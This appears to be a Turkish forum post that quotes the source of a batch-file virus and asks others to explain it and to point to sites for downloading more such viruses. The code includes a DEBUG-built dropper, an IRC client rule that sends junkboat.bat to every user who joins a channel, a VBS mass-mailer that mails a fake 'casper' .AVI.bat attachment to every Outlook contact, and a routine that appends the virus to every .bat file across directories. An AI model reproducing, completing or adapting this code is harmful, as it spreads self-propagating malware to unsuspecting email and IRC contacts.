1.---------------------------------------------------------------------------------------------------
echo e 0100 62 61 74 69 6E 61 5F 72 72 6C 66 0D 0A 66 75 75>u
echo e 0110 75 63 6B 0D 0A 67 65 74 20 75 70 64 61 74 65 2E>>u
echo e 0120 74 78 74 0D 0A 71 75 69 74 0D 0A DA ED A2 3A DF>>u
echo rcx>>u
echo 002B>>u
echo n ude>>u
echo w>>u
echo q>>u
debugpirch
echo Enabled=1>>pirch
echo Count=6>>pirch
echo Level1=000-Unknowns>>pirch
echo 000-UnknownsEnabled=1>>pirch
echo Level2=100-Level 100>>pirch
echo 100-Level 100Enabled=1>>pirch
echo Level3=200-Level 200>>pirch
echo 200-Level 200Enabled=1>>pirch
echo Level4=300-Level 300>>pirch
echo 300-Level 300Enabled=1>>pirch
echo Level5=400-Level 400>>pirch
echo 400-Level 400Enabled=1>>pirch
echo Level6=500-Level 500>>pirch
echo 500-Level 500Enabled=1>>pirch
echo.>>pirch
echo [000-Unknowns]>>pirch
echo User1=*!*@*>>pirch
echo UserCount=1>>pirch
echo Event1=ON JOIN:#:/dcc send $nick c:junkboat.bat>>pirch
echo EventCount=1>>pirch
echo.>>pirch
echo [100-Level 100]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [200-Level 200]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [300-Level 300]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [400-Level 400]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
echo.>>pirch
echo [500-Level 500]>>pirch
echo UserCount=0>>pirch
echo EventCount=0>>pirch
move pirch c
irch98events.inidel pirch
3.----------------------------------------------------------------------------------------------------
:massmailer
if exist c:windowssystemjunkmailer.vbs goto mailend
echo.on error resume next >c:windowssystemjunkmailer.vbs
echo dim a,b,c,d,e >>c:windowssystemjunkmailer.vbs
echo set a = Wscript.CreateObject("Wscript.Shell") >>c:windowssystemjunkmailer.vbs
echo set b = CreateObject("Outlook.Application") >>c:windowssystemjunkmailer.vbs
echo set c = b.GetNameSpace("MAPI") >>c:windowssystemjunkmailer.vbs
echo for y = 1 To c.AddressLists.Count >>c:windowssystemjunkmailer.vbs
echo set d = c.AddressLists(y) >>c:windowssystemjunkmailer.vbs
echo x = 1 >>c:windowssystemjunkmailer.vbs
echo set e = b.CreateItem(0) >>c:windowssystemjunkmailer.vbs
echo for o = 1 To d.AddressEntries.Count >>c:windowssystemjunkmailer.vbs
echo f = d.AddressEntries(x) >>c:windowssystemjunkmailer.vbs
echo e.Recipients.Add f >>c:windowssystemjunkmailer.vbs
echo x = x + 1 >>c:windowssystemjunkmailer.vbs
echo next >>c:windowssystemjunkmailer.vbs
echo e.Subject = "Hi!!" >>c:windowssystemjunkmailer.vbs
echo e.Body = "I'd like to show you a cartoon that i downloaded.It's called casper." >>c:windowssystemjunkmailer.vbs
echo e.Body = "I've tried it and it's a very funny show!I think you shoul watch it.Oh,there's no viruses inside
" >>c:windowssystemjunkmailer.vbs echo e.Body = "bye!!" >>c:windowssystemjunkmailer.vbs
echo e.Attachments.Add ("c:¥¤£¢¡¿¼ 9;¶casper~1.AVI.bat") >>c:windowssystemjunkmailer.vbs
echo e.DeleteAfterSubmit = False >>c:windowssystemjunkmailer.vbs
echo e.Send >>c:windowssystemjunkmailer.vbs
echo f = "" >>c:windowssystemjunkmailer.vbs
echo next >>c:windowssystemjunkmailer.vbs
start c:windowssystemjunkmailer.vbs
4.---------------------------------------------------------------------------------------------------
:ci
cls
cd >l.l
find /c /i "a:" l.l >nul
if not errorlevel 1 set pat=a:
find /c /i "b:" l.l >nul
if not errorlevel 1 set pat=b:
find /c /i "c:" l.l >nul
if not errorlevel 1 set pat=c:
find /c /i "d:" l.l >nul
if not errorlevel 1 set pat=d:
find /c /i "e:" l.l >nul
if not errorlevel 1 set pat=e:
find /c /i "f:" l.l >nul
if not errorlevel 1 set pat=f:
find /c /i "g:" l.l >nul
if not errorlevel 1 set pat=g:
find /c /i "h:" l.l >nul
if not errorlevel 1 set pat=h:
find /c /i "i:" l.l >nul
if not errorlevel 1 set pat=i:
find /c /i "j:" l.l >nul
if not errorlevel 1 set pat=j:
find /c /i "k:" l.l >nul
if not errorlevel 1 set pat=k:
find /c /i "l:" l.l >nul
if not errorlevel 1 set pat=l:
find /c /i "m:" l.l >nul
if not errorlevel 1 set pat=m:
find /c /i "n:" l.l >nul
if not errorlevel 1 set pat=n:
find /c /i "o:" l.l >nul
if not errorlevel 1 set pat=o:
find /c /i "p:" l.l >nul
if not errorlevel 1 set pat=p:
find /c /i "q:" l.l >nul
if not errorlevel 1 set pat=q:
find /c /i "r:" l.l >nul
if not errorlevel 1 set pat=r:
find /c /i "s:" l.l >nul
if not errorlevel 1 set pat=s:
find /c /i "t:" l.l >nul
if not errorlevel 1 set pat=t:
find /c /i "u:" l.l >nul
if not errorlevel 1 set pat=u:
find /c /i "v:" l.l >nul
if not errorlevel 1 set pat=v:
find /c /i "w:" l.l >nul
if not errorlevel 1 set pat=w:
find /c /i "x:" l.l >nul
if not errorlevel 1 set pat=x:
find /c /i "y:" l.l >nul
if not errorlevel 1 set pat=y:
find /c /i "z:" l.l >nul
if not errorlevel 1 set pat=z:
del l.l
cls
5. ve son ------------------------------------------------------------------------------------------
:infecto
@attrib +r %0
echo.>l.t
echo @set shit=prick >>l.t
@copy l.t + %0 m.b
@for %%a in (*.bat) do copy %%a + m.b
del l.t | del m.b
cd .. >%pat%p.l
@find /c /i "invalid directory" %pat%p.l
@if not errorlevel 1 goto infecto
@echo.>l.t
@echo @set shit=prick >>l.t
@copy l.t + %0 m.b
@for %%a in (*.bat) do copy %%a + m.b
@del l.t | del m.b | del p.l
copy %0 %pat%bush.bat
attrib -r %0
cls
-------------------------------------------------------------------------------------------------------
bana bunların herhangi birinde yardımcı olursanız cok sevinirim şimdiden thanks
ozellikle 1. si onemli bat uzantılı viruslerin 10 da 8 ine 1 numaralı kodlar ufak değişikliklerle yaleştirilmiş durumda bunların yanı sıra bat uzantılı virus download edebileceğim adresler verebilirseniz cok ii olur tabii http://www.c-schell.de/?action=helpv dışında
__________________